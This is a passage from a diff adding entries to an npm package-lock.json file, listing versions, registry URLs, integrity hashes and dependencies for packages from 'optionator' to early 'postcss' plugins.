"sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "optionator": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.2.tgz", + "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", + "dev": true, + "requires": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.4", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "wordwrap": "~1.0.0" + } + }, + "ora": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/ora/-/ora-5.4.1.tgz", + "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", + "peer": true, + "requires": { + "bl": "^4.1.0", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.5.0", + "is-interactive": "^1.0.0", + "is-unicode-supported": "^0.1.0", + "log-symbols": "^4.1.0", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "bl": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "peer": true, + "requires": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "peer": true, + "requires": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "peer": true, + "requires": { + "restore-cursor": "^3.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "peer": true + }, + "log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "peer": true, + "requires": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + } + }, + "mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "peer": true + }, + "onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "peer": true, + "requires": { + "mimic-fn": "^2.1.0" + } + }, + "readable-stream": { + "version": "3.6.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", + "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "peer": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "peer": true, + "requires": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "peer": true + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "peer": true, + "requires": { + "safe-buffer": "~5.2.0" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "peer": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "os-browserify": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz", + "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=", + "dev": true + }, + "os-homedir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", + "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", + "dev": true + }, + "os-locale": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", + "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", + "dev": true, + "requires": { + "lcid": "^1.0.0" + } + }, + "os-tmpdir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" + }, + "osenv": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", + "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", + "dev": true, + "requires": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, + "outpipe": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/outpipe/-/outpipe-1.1.1.tgz", + "integrity": "sha1-UM+GFjZeh+Ax4ppeyTOaPaRyX6I=", + "dev": true, + "requires": { + "shell-quote": "^1.4.2" + } + }, + "output-file-sync": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/output-file-sync/-/output-file-sync-1.1.2.tgz", + "integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.4", + "mkdirp": "^0.5.1", + "object-assign": "^4.1.0" + } + }, + "p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" + }, + "p-limit": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", + "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", + "dev": true, + "requires": { + "p-try": "^1.0.0" + } + }, + "p-locate": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", + "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", + "dev": true, + "requires": { + "p-limit": "^1.1.0" + } + }, + "p-try": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", + "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", + "dev": true + }, + "pako": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.6.tgz", + "integrity": "sha512-lQe48YPsMJAig+yngZ87Lus+NF+3mtu7DVOBu6b/gHO1YpKwIj5AWjZ/TOS7i46HD/UixzWb1zeWDZfGZ3iYcg==", + "dev": true + }, + "parallel-transform": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz", + "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", + "dev": true, + "requires": { + "cyclist": "~0.2.2", + "inherits": "^2.0.3", + "readable-stream": "^2.1.5" + } + }, + "parents": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parents/-/parents-1.0.1.tgz", + "integrity": "sha1-/t1NK/GTp3dF/nHjcdc8MwfZx1E=", + "dev": true, + "requires": { + "path-platform": "~0.11.15" + } + }, + "parse-asn1": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.0.tgz", + "integrity": "sha1-N8T5t+06tlx0gXtfJICTf7+XxxI=", + "dev": true, + "requires": { + "asn1.js": "^4.0.0", + "browserify-aes": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.0", + "pbkdf2": "^3.0.3" + } + }, + "parse-function": { + "version": "5.6.10", + "resolved": "https://registry.npmjs.org/parse-function/-/parse-function-5.6.10.tgz", + "integrity": "sha512-mrMwHEIn8mCgTTZxCVtXbcv8+Suf13z+81004BupjoAfZfIuwEzOYy9NNS3xKYXRRVR7Ej1sjvgjjcqQmYGK4A==", + "dev": true, + "requires": { + "@babel/parser": "^7.8.3", + "arrify": "^2.0.1" + }, + "dependencies": { + "arrify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz", + "integrity": "sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==", + "dev": true + } + } + }, + "parse-glob": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/parse-glob/-/parse-glob-3.0.4.tgz", + "integrity": "sha1-ssN2z7EfNVE7rdFz7wu246OIORw=", + "dev": true, + "requires": { + "glob-base": "^0.3.0", + "is-dotfile": "^1.0.0", + "is-extglob": "^1.0.0", + "is-glob": "^2.0.0" + } + }, + "parse-json": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", + "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", + "dev": true, + "requires": { + "error-ex": "^1.2.0" + } + }, + "parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "peer": true + }, + "partialify": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/partialify/-/partialify-3.1.6.tgz", + "integrity": "sha1-f0QPHe6SqFVT9YTgK9koBXA0fRg=", + "dev": true, + "requires": { + "string-to-js": "0.0.1", + "through": "^2.3.4" + } + }, + "pascalcase": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", + "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=" + }, + "path-browserify": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.0.tgz", + "integrity": "sha1-oLhwcpquIUAFt9UDLsLLuw+0RRo=", + "dev": true + }, + "path-dirname": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", + "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", + "dev": true + }, + "path-exists": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", + "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", + "dev": true, + "requires": { + "pinkie-promise": "^2.0.0" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" + }, + "path-is-inside": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", + "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", + "dev": true + }, + "path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=" + }, + "path-parse": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", + "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==" + }, + "path-platform": { + "version": "0.11.15", + "resolved": "https://registry.npmjs.org/path-platform/-/path-platform-0.11.15.tgz", + "integrity": "sha1-6GQhf3TDaFDwhSt43Hv31KVyG/I=", + "dev": true + }, + "path-type": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", + "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" + } + }, + "pbkdf2": { + "version": "3.0.12", + "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.12.tgz", + "integrity": "sha1-vjZ4XFBn6kjYBv+SMojF91C2uKI=", + "dev": true, + "requires": { + "create-hash": "^1.1.2", + "create-hmac": "^1.1.4", + "ripemd160": "^2.0.1", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + } + }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", + "dev": true + }, + "picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==" + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", + "dev": true + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=", + "dev": true + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "dev": true, + "requires": { + "pinkie": "^2.0.0" + } + }, + "pirates": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz", + "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==", + "peer": true + }, + "pkg-dir": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz", + "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", + "dev": true, + "requires": { + "find-up": "^2.1.0" + }, + "dependencies": { + "find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "dev": true, + "requires": { + "locate-path": "^2.0.0" + } + } + } + }, + "pluralize": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", + "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", + "dev": true + }, + "popper.js": { + "version": "1.14.4", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.14.4.tgz", + "integrity": "sha1-juwdj/AqWjoVLdQ0FKFce3n9abY=" + }, + "posix-character-classes": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", + "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=" + }, + "postcss": { + "version": "5.2.18", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-5.2.18.tgz", + "integrity": "sha512-zrUjRRe1bpXKsX1qAJNJjqZViErVuyEkMTRrwu4ud4sbTtIBRmtaYDrHmcGgmrbsW3MHfmtIf+vJumgQn+PrXg==", + "dev": true, + "requires": { + "chalk": "^1.1.3", + "js-base64": "^2.1.9", + "source-map": "^0.5.6", + "supports-color": "^3.2.3" + }, + "dependencies": { + "supports-color": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", + "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", + "dev": true, + "requires": { + "has-flag": "^1.0.0" + } + } + } + }, + "postcss-calc": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-5.3.1.tgz", + "integrity": "sha1-d7rnypKK2FcW4v2kLyYb98HWW14=", + "dev": true, + "requires": { + "postcss": "^5.0.2", + "postcss-message-helpers": "^2.0.0", + "reduce-css-calc": "^1.2.6" + } + }, + "postcss-colormin": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-2.2.2.tgz", + "integrity": "sha1-ZjFBfV8OkJo9fsJrJMio0eT5bks=", + "dev": true, + "requires": { + "colormin": "^1.0.5", + "postcss": "^5.0.13", + "postcss-value-parser": "^3.2.3" + } + }, + "postcss-convert-values": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-2.6.1.tgz", + "integrity": "sha1-u9hZPFwf0uPRwyK7kl3K6Nrk1i0=", + "dev": true, + "requires": { + "postcss": "^5.0.11", + "postcss-value-parser": "^3.1.2" + } + }, + "postcss-discard-comments": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-2.0.4.tgz", + "integrity": "sha1-vv6J+v1bPazlzM5Rt2uBUUvgDj0=", + "dev": true, + "requires": { + "postcss": "^5.0.14" + } + }, + "postcss-discard-duplicates": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-2.1.0.tgz", + "integrity": "sha1-uavye4isGIFYpesSq8riAmO5GTI=", + "dev": true, + "requires": { + "postcss": "^5.0.4" + } + }, + "postcss-discard-empty": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-2.1.0.tgz", + "integrity": "sha1-0rS9nVztXr2Nyt52QMfXzX9PkrU=", + "dev": true, + "requires": { + "postcss": "^5.0.14" + } + }, + "postcss-discard-overridden": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-0.1.1.tgz", + "integrity": "sha1-ix6vVU9ob7KIzYdMVWZ7CqNmjVg=", + "dev": true, + "requires": { + "postcss": "^5.0.16" + } + }, + "postcss-discard-unused": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/postcss-discard-unused/-/postcss-discard-unused-2.2.3.tgz", + "integrity": "sha1-vOMLLMWR/8Y0Mitfs0ZLbZNPRDM=", + "dev": true, + "requires": { + "postcss": "^5.0.14", + "uniqs": "^2.0.0" + } + }, + "postcss-filter-plugins": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/postcss-filter-plugins/-/postcss-filter-plugins-2.0.3.tgz", + "integrity": "sha512-T53GVFsdinJhgwm7rg1BzbeBRomOg9y5MBVhGcsV0CxurUdVj1UlPdKtn7aqYA/c/QVkzKMjq2bSV5dKG5+AwQ==", + "dev": true, + "requires": { + "postcss": "^5.0.4" + } + }, + "postcss-load-config": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-1.2.0.tgz", + "integrity": "sha1-U56a/J3chiASHr+djDZz4M5Q0oo=", + "dev": true, + "requires": { + "cosmiconfig": "^2.1.0", + "object-assign": "^4.1.0", + "postcss-load-options": "^1.2.0", + "postcss-load-plugins": "^2.3.0" + } + }, + "postcss-load-options": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-load-options/-/postcss-load-options-1.2.0.tgz", + "integrity": "sha1-sJixVZ3awt8EvAuzdfmaXP4rbYw=", + "dev": true, + "requires": { + "cosmiconfig": "^2.1.0", + "object-assign": "^4.1.0" + } + }, + "postcss-load-plugins": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/postcss-load-plugins/-/postcss-load-plugins-2.3.0.tgz", + "integrity": "sha1-dFdoEWWZrKLwCfrUJrABdQSdjZI=", + "dev": true, + "requires": { + "cosmiconfig": "^2.1.1", + "object-assign": "^4.1.0" + } + }, + "postcss-merge-idents": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/postcss-merge-idents/-/postcss-merge-idents-2.1.7.tgz", + "integrity": "sha1-TFUwMTwI4dWzu/PSu8dH4njuonA=", + "dev": true, + "requires": { + "has": "^1.0.1", + "postcss": "^5.0.10", + "postcss-value-parser": "^3.1.1" + } + }, + "postcss-merge-longhand": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-2.0.2.tgz", + "integrity": "sha1-I9kM0Sewp3mUkVMyc5A0oaTz1lg=", + "dev": true, + "requires": { + "postcss": "^5.0.4" + } + }, + "postcss-merge-rules": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-2.1.2.tgz", + "integrity": "sha1-0d9d+qexrMO+VT8OnhDofGG19yE=", + "dev": true, + "requires": { + "browserslist": "^1.5.2", + "caniuse-api": "^1.5.2", + "postcss": "^5.0.4", + "postcss-selector-parser": "^2.2.2", + "vendors": "^1.0.0" + }, + "dependencies": { + "browserslist": { + "version": "1.7.7", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", + "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", + "dev": true, + "requires": { + "caniuse-db": "^1.0.30000639", + "electron-to-chromium": "^1.2.7" + } + } + } + }, + "postcss-message-helpers": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/postcss-message-helpers/-/postcss-message-helpers-2.0.0.tgz", + "integrity": "sha1-pPL0+rbk/gAvCu0ABHjN9S+bpg4=", + "dev": true + }, + "postcss-minify-font-values": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-1.0.5.tgz", + "integrity": "sha1-S1jttWZB66fIR0qzUmyv17vey2k=", + "dev": true, + "requires": { + "object-assign": "^4.0.1", + "postcss": "^5.0.4", + "postcss-value-parser": "^3.0.2" + } + }, + "postcss-minify-gradients": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-1.0.5.tgz", + "integrity": "sha1-Xb2hE3NwP4PPtKPqOIHY11/15uE=", + "dev": true, + "requires": { + "postcss": "^5.0.12", + "postcss-value-parser": "^3.3.0" + } + }, + "postcss-minify-params": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-1.2.2.tgz", + "integrity": "sha1-rSzgcTc7lDs9kwo/pZo1jCjW8fM=", + "dev": true, + "requires": { + "alphanum-sort": "^1.0.1", + "postcss": "^5.0.2", + "postcss-value-parser": "^3.0.2", + "uniqs": "^2.0.0" + } + }, + "postcss-minify-selectors": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-2.1.1.tgz", + "integrity": "sha1-ssapjAByz5G5MtGkllCBFDEXNb8=", + "dev": true, + "requires": { + "alphanum-sort": "^1.0.2", + "has": "^1.0.1", + "postcss": "^5.0.14", + "postcss-selector-parser": "^2.0.0" + } + }, + "postcss-modules-extract-imports": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.0.tgz", + "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=", + "dev": true, + "requires": { + "postcss": "^6.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": 